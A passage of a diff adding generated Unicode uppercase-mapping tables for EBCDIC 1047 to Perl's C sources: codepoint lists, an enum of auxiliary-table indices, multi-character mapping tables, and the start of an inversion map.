+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FF2,
+	0x1FF3,
+	0x1FF4,
+	0x1FF5,
+	0x1FF6,
+	0x1FF7,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
+	0xFB07,
+	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	UC_0 = 0,
+	UC_use_AUX_TABLE_1 = -1,
+	UC_use_AUX_TABLE_2 = -2,
+	UC_use_AUX_TABLE_3 = -3,
+	UC_use_AUX_TABLE_4 = -4,
+	UC_use_AUX_TABLE_5 = -5,
+	UC_use_AUX_TABLE_6 = -6,
+	UC_use_AUX_TABLE_7 = -7,
+	UC_use_AUX_TABLE_8 = -8,
+	UC_use_AUX_TABLE_9 = -9,
+	UC_use_AUX_TABLE_10 = -10,
+	UC_use_AUX_TABLE_11 = -11,
+	UC_use_AUX_TABLE_12 = -12,
+	UC_use_AUX_TABLE_13 = -13,
+	UC_use_AUX_TABLE_14 = -14,
+	UC_use_AUX_TABLE_15 = -15,
+	UC_use_AUX_TABLE_16 = -16,
+	UC_use_AUX_TABLE_17 = -17,
+	UC_use_AUX_TABLE_18 = -18,
+	UC_use_AUX_TABLE_19 = -19,
+	UC_use_AUX_TABLE_20 = -20,
+	UC_use_AUX_TABLE_21 = -21,
+	UC_use_AUX_TABLE_22 = -22,
+	UC_use_AUX_TABLE_23 = -23,
+	UC_use_AUX_TABLE_24 = -24,
+	UC_use_AUX_TABLE_25 = -25,
+	UC_use_AUX_TABLE_26 = -26,
+	UC_use_AUX_TABLE_27 = -27,
+	UC_use_AUX_TABLE_28 = -28,
+	UC_use_AUX_TABLE_29 = -29,
+	UC_use_AUX_TABLE_30 = -30,
+	UC_use_AUX_TABLE_31 = -31,
+	UC_use_AUX_TABLE_32 = -32,
+	UC_use_AUX_TABLE_33 = -33,
+	UC_use_AUX_TABLE_34 = -34,
+	UC_use_AUX_TABLE_35 = -35,
+	UC_use_AUX_TABLE_36 = -36,
+	UC_use_AUX_TABLE_37 = -37,
+	UC_use_AUX_TABLE_38 = -38,
+	UC_use_AUX_TABLE_39 = -39,
+	UC_use_AUX_TABLE_40 = -40,
+	UC_use_AUX_TABLE_41 = -41,
+	UC_use_AUX_TABLE_42 = -42,
+	UC_use_AUX_TABLE_43 = -43,
+	UC_use_AUX_TABLE_44 = -44,
+	UC_use_AUX_TABLE_45 = -45,
+	UC_use_AUX_TABLE_46 = -46,
+	UC_use_AUX_TABLE_47 = -47,
+	UC_use_AUX_TABLE_48 = -48,
+	UC_use_AUX_TABLE_49 = -49,
+	UC_use_AUX_TABLE_50 = -50,
+	UC_use_AUX_TABLE_51 = -51,
+	UC_use_AUX_TABLE_52 = -52,
+	UC_use_AUX_TABLE_53 = -53,
+	UC_use_AUX_TABLE_54 = -54,
+	UC_use_AUX_TABLE_55 = -55,
+	UC_use_AUX_TABLE_56 = -56,
+	UC_use_AUX_TABLE_57 = -57,
+	UC_use_AUX_TABLE_58 = -58,
+	UC_use_AUX_TABLE_59 = -59,
+	UC_use_AUX_TABLE_60 = -60,
+	UC_use_AUX_TABLE_61 = -61,
+	UC_use_AUX_TABLE_62 = -62,
+	UC_use_AUX_TABLE_63 = -63,
+	UC_use_AUX_TABLE_64 = -64,
+	UC_use_AUX_TABLE_65 = -65,
+	UC_use_AUX_TABLE_66 = -66,
+	UC_use_AUX_TABLE_67 = -67,
+	UC_use_AUX_TABLE_68 = -68,
+	UC_use_AUX_TABLE_69 = -69,
+	UC_use_AUX_TABLE_70 = -70,
+	UC_use_AUX_TABLE_71 = -71,
+	UC_use_AUX_TABLE_72 = -72
+} UC_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_UC_AUX_TABLES
+
+static const unsigned int UC_AUX_TABLE_1[] = {
+	0xE2,
+	0xE2
+};
+
+static const unsigned int UC_AUX_TABLE_2[] = {
+	0x2BC,
+	0xD5
+};
+
+static const unsigned int UC_AUX_TABLE_3[] = {
+	0xD1,
+	0x30C
+};
+
+static const unsigned int UC_AUX_TABLE_4[] = {
+	0x399,
+	0x308,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_5[] = {
+	0x3A5,
+	0x308,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_6[] = {
+	0x535,
+	0x552
+};
+
+static const unsigned int UC_AUX_TABLE_7[] = {
+	0xC8,
+	0x331
+};
+
+static const unsigned int UC_AUX_TABLE_8[] = {
+	0xE3,
+	0x308
+};
+
+static const unsigned int UC_AUX_TABLE_9[] = {
+	0xE6,
+	0x30A
+};
+
+static const unsigned int UC_AUX_TABLE_10[] = {
+	0xE8,
+	0x30A
+};
+
+static const unsigned int UC_AUX_TABLE_11[] = {
+	0xC1,
+	0x2BE
+};
+
+static const unsigned int UC_AUX_TABLE_12[] = {
+	0x3A5,
+	0x313
+};
+
+static const unsigned int UC_AUX_TABLE_13[] = {
+	0x3A5,
+	0x313,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_14[] = {
+	0x3A5,
+	0x313,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_15[] = {
+	0x3A5,
+	0x313,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_16[] = {
+	0x1F08,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_17[] = {
+	0x1F09,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_18[] = {
+	0x1F0A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_19[] = {
+	0x1F0B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_20[] = {
+	0x1F0C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_21[] = {
+	0x1F0D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_22[] = {
+	0x1F0E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_23[] = {
+	0x1F0F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_24[] = {
+	0x1F28,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_25[] = {
+	0x1F29,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_26[] = {
+	0x1F2A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_27[] = {
+	0x1F2B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_28[] = {
+	0x1F2C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_29[] = {
+	0x1F2D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_30[] = {
+	0x1F2E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_31[] = {
+	0x1F2F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_32[] = {
+	0x1F68,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_33[] = {
+	0x1F69,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_34[] = {
+	0x1F6A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_35[] = {
+	0x1F6B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_36[] = {
+	0x1F6C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_37[] = {
+	0x1F6D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_38[] = {
+	0x1F6E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_39[] = {
+	0x1F6F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_40[] = {
+	0x1FBA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_41[] = {
+	0x391,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_42[] = {
+	0x386,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_43[] = {
+	0x391,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_44[] = {
+	0x391,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_45[] = {
+	0x1FCA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_46[] = {
+	0x397,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_47[] = {
+	0x389,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_48[] = {
+	0x397,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_49[] = {
+	0x397,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_50[] = {
+	0x399,
+	0x308,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_51[] = {
+	0x399,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_52[] = {
+	0x399,
+	0x308,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_53[] = {
+	0x3A5,
+	0x308,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_54[] = {
+	0x3A1,
+	0x313
+};
+
+static const unsigned int UC_AUX_TABLE_55[] = {
+	0x3A5,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_56[] = {
+	0x3A5,
+	0x308,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_57[] = {
+	0x1FFA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_58[] = {
+	0x3A9,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_59[] = {
+	0x38F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_60[] = {
+	0x3A9,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_61[] = {
+	0x3A9,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_62[] = {
+	0xC6,
+	0xC6
+};
+
+static const unsigned int UC_AUX_TABLE_63[] = {
+	0xC6,
+	0xC9
+};
+
+static const unsigned int UC_AUX_TABLE_64[] = {
+	0xC6,
+	0xD3
+};
+
+static const unsigned int UC_AUX_TABLE_65[] = {
+	0xC6,
+	0xC6,
+	0xC9
+};
+
+static const unsigned int UC_AUX_TABLE_66[] = {
+	0xC6,
+	0xC6,
+	0xD3
+};
+
+static const unsigned int UC_AUX_TABLE_67[] = {
+	0xE2,
+	0xE3
+};
+
+static const unsigned int UC_AUX_TABLE_68[] = {
+	0x544,
+	0x546
+};
+
+static const unsigned int UC_AUX_TABLE_69[] = {
+	0x544,
+	0x535
+};
+
+static const unsigned int UC_AUX_TABLE_70[] = {
+	0x544,
+	0x53B
+};
+
+static const unsigned int UC_AUX_TABLE_71[] = {
+	0x54E,
+	0x546
+};
+
+static const unsigned int UC_AUX_TABLE_72[] = {
+	0x544,
+	0x53D
+};
+
+static const unsigned int * const UC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	UC_AUX_TABLE_1,
+	UC_AUX_TABLE_2,
+	UC_AUX_TABLE_3,
+	UC_AUX_TABLE_4,
+	UC_AUX_TABLE_5,
+	UC_AUX_TABLE_6,
+	UC_AUX_TABLE_7,
+	UC_AUX_TABLE_8,
+	UC_AUX_TABLE_9,
+	UC_AUX_TABLE_10,
+	UC_AUX_TABLE_11,
+	UC_AUX_TABLE_12,
+	UC_AUX_TABLE_13,
+	UC_AUX_TABLE_14,
+	UC_AUX_TABLE_15,
+	UC_AUX_TABLE_16,
+	UC_AUX_TABLE_17,
+	UC_AUX_TABLE_18,
+	UC_AUX_TABLE_19,
+	UC_AUX_TABLE_20,
+	UC_AUX_TABLE_21,
+	UC_AUX_TABLE_22,
+	UC_AUX_TABLE_23,
+	UC_AUX_TABLE_24,
+	UC_AUX_TABLE_25,
+	UC_AUX_TABLE_26,
+	UC_AUX_TABLE_27,
+	UC_AUX_TABLE_28,
+	UC_AUX_TABLE_29,
+	UC_AUX_TABLE_30,
+	UC_AUX_TABLE_31,
+	UC_AUX_TABLE_32,
+	UC_AUX_TABLE_33,
+	UC_AUX_TABLE_34,
+	UC_AUX_TABLE_35,
+	UC_AUX_TABLE_36,
+	UC_AUX_TABLE_37,
+	UC_AUX_TABLE_38,
+	UC_AUX_TABLE_39,
+	UC_AUX_TABLE_40,
+	UC_AUX_TABLE_41,
+	UC_AUX_TABLE_42,
+	UC_AUX_TABLE_43,
+	UC_AUX_TABLE_44,
+	UC_AUX_TABLE_45,
+	UC_AUX_TABLE_46,
+	UC_AUX_TABLE_47,
+	UC_AUX_TABLE_48,
+	UC_AUX_TABLE_49,
+	UC_AUX_TABLE_50,
+	UC_AUX_TABLE_51,
+	UC_AUX_TABLE_52,
+	UC_AUX_TABLE_53,
+	UC_AUX_TABLE_54,
+	UC_AUX_TABLE_55,
+	UC_AUX_TABLE_56,
+	UC_AUX_TABLE_57,
+	UC_AUX_TABLE_58,
+	UC_AUX_TABLE_59,
+	UC_AUX_TABLE_60,
+	UC_AUX_TABLE_61,
+	UC_AUX_TABLE_62,
+	UC_AUX_TABLE_63,
+	UC_AUX_TABLE_64,
+	UC_AUX_TABLE_65,
+	UC_AUX_TABLE_66,
+	UC_AUX_TABLE_67,
+	UC_AUX_TABLE_68,
+	UC_AUX_TABLE_69,
+	UC_AUX_TABLE_70,
+	UC_AUX_TABLE_71,
+	UC_AUX_TABLE_72
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 UC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* UC_AUX_TABLE_1 */,
+	2	/* UC_AUX_TABLE_2 */,
+	2	/* UC_AUX_TABLE_3 */,
+	3	/* UC_AUX_TABLE_4 */,
+	3	/* UC_AUX_TABLE_5 */,
+	2	/* UC_AUX_TABLE_6 */,
+	2	/* UC_AUX_TABLE_7 */,
+	2	/* UC_AUX_TABLE_8 */,
+	2	/* UC_AUX_TABLE_9 */,
+	2	/* UC_AUX_TABLE_10 */,
+	2	/* UC_AUX_TABLE_11 */,
+	2	/* UC_AUX_TABLE_12 */,
+	3	/* UC_AUX_TABLE_13 */,
+	3	/* UC_AUX_TABLE_14 */,
+	3	/* UC_AUX_TABLE_15 */,
+	2	/* UC_AUX_TABLE_16 */,
+	2	/* UC_AUX_TABLE_17 */,
+	2	/* UC_AUX_TABLE_18 */,
+	2	/* UC_AUX_TABLE_19 */,
+	2	/* UC_AUX_TABLE_20 */,
+	2	/* UC_AUX_TABLE_21 */,
+	2	/* UC_AUX_TABLE_22 */,
+	2	/* UC_AUX_TABLE_23 */,
+	2	/* UC_AUX_TABLE_24 */,
+	2	/* UC_AUX_TABLE_25 */,
+	2	/* UC_AUX_TABLE_26 */,
+	2	/* UC_AUX_TABLE_27 */,
+	2	/* UC_AUX_TABLE_28 */,
+	2	/* UC_AUX_TABLE_29 */,
+	2	/* UC_AUX_TABLE_30 */,
+	2	/* UC_AUX_TABLE_31 */,
+	2	/* UC_AUX_TABLE_32 */,
+	2	/* UC_AUX_TABLE_33 */,
+	2	/* UC_AUX_TABLE_34 */,
+	2	/* UC_AUX_TABLE_35 */,
+	2	/* UC_AUX_TABLE_36 */,
+	2	/* UC_AUX_TABLE_37 */,
+	2	/* UC_AUX_TABLE_38 */,
+	2	/* UC_AUX_TABLE_39 */,
+	2	/* UC_AUX_TABLE_40 */,
+	2	/* UC_AUX_TABLE_41 */,
+	2	/* UC_AUX_TABLE_42 */,
+	2	/* UC_AUX_TABLE_43 */,
+	3	/* UC_AUX_TABLE_44 */,
+	2	/* UC_AUX_TABLE_45 */,
+	2	/* UC_AUX_TABLE_46 */,
+	2	/* UC_AUX_TABLE_47 */,
+	2	/* UC_AUX_TABLE_48 */,
+	3	/* UC_AUX_TABLE_49 */,
+	3	/* UC_AUX_TABLE_50 */,
+	2	/* UC_AUX_TABLE_51 */,
+	3	/* UC_AUX_TABLE_52 */,
+	3	/* UC_AUX_TABLE_53 */,
+	2	/* UC_AUX_TABLE_54 */,
+	2	/* UC_AUX_TABLE_55 */,
+	3	/* UC_AUX_TABLE_56 */,
+	2	/* UC_AUX_TABLE_57 */,
+	2	/* UC_AUX_TABLE_58 */,
+	2	/* UC_AUX_TABLE_59 */,
+	2	/* UC_AUX_TABLE_60 */,
+	3	/* UC_AUX_TABLE_61 */,
+	2	/* UC_AUX_TABLE_62 */,
+	2	/* UC_AUX_TABLE_63 */,
+	2	/* UC_AUX_TABLE_64 */,
+	3	/* UC_AUX_TABLE_65 */,
+	3	/* UC_AUX_TABLE_66 */,
+	2	/* UC_AUX_TABLE_67 */,
+	2	/* UC_AUX_TABLE_68 */,
+	2	/* UC_AUX_TABLE_69 */,
+	2	/* UC_AUX_TABLE_70 */,
+	2	/* UC_AUX_TABLE_71 */,
+	2	/* UC_AUX_TABLE_72 */
+};
+
+static const int Uppercase_Mapping_invmap[] = { /* for EBCDIC 1047 */
+	0,
+	0x62,
+	0,
+	0x71,
+	UC_use_AUX_TABLE_1,
+	0,
+	0x80,
+	0,
+	0xC1,
+	0,
+	0xAC,
+	0xBA,
+	0xAE,
+	0,
+	0xD1,
+	0,
+	0x9E,
+	0,
+	0x39C,
+	0,
+	0xE2,
+	0,
+	0xEB,
+	0,
+	0xFB,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0xC9,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	UC_use_AUX_TABLE_2,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0xE2,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	0x1C4,
+	0x1C4,
+	0,
+	0x1C7,
+	0x1C7,
+	0,
+	0x1CA,
+	0x1CA,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	UC_use_AUX_TABLE_3,
+	0,
+	0x1F1,
+	0x1F1,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x399,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
+	0x376,
+	0,
+	0x3FD,
+	0,
+	UC_use_AUX_TABLE_4,
+	0,
+	0x386,
+	0x388,
+	UC_use_AUX_TABLE_5,
+	0x391,
+	0x3A3,
+	0x3A3,
+	0x38C,
+	0x38E,
+	0,
+	0x392,
+	0x398,
+	0,
+	0x3A6,
+	0x3A0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0x39A,
+	0x3A1,
+	0x3F9,
+	0x37F,
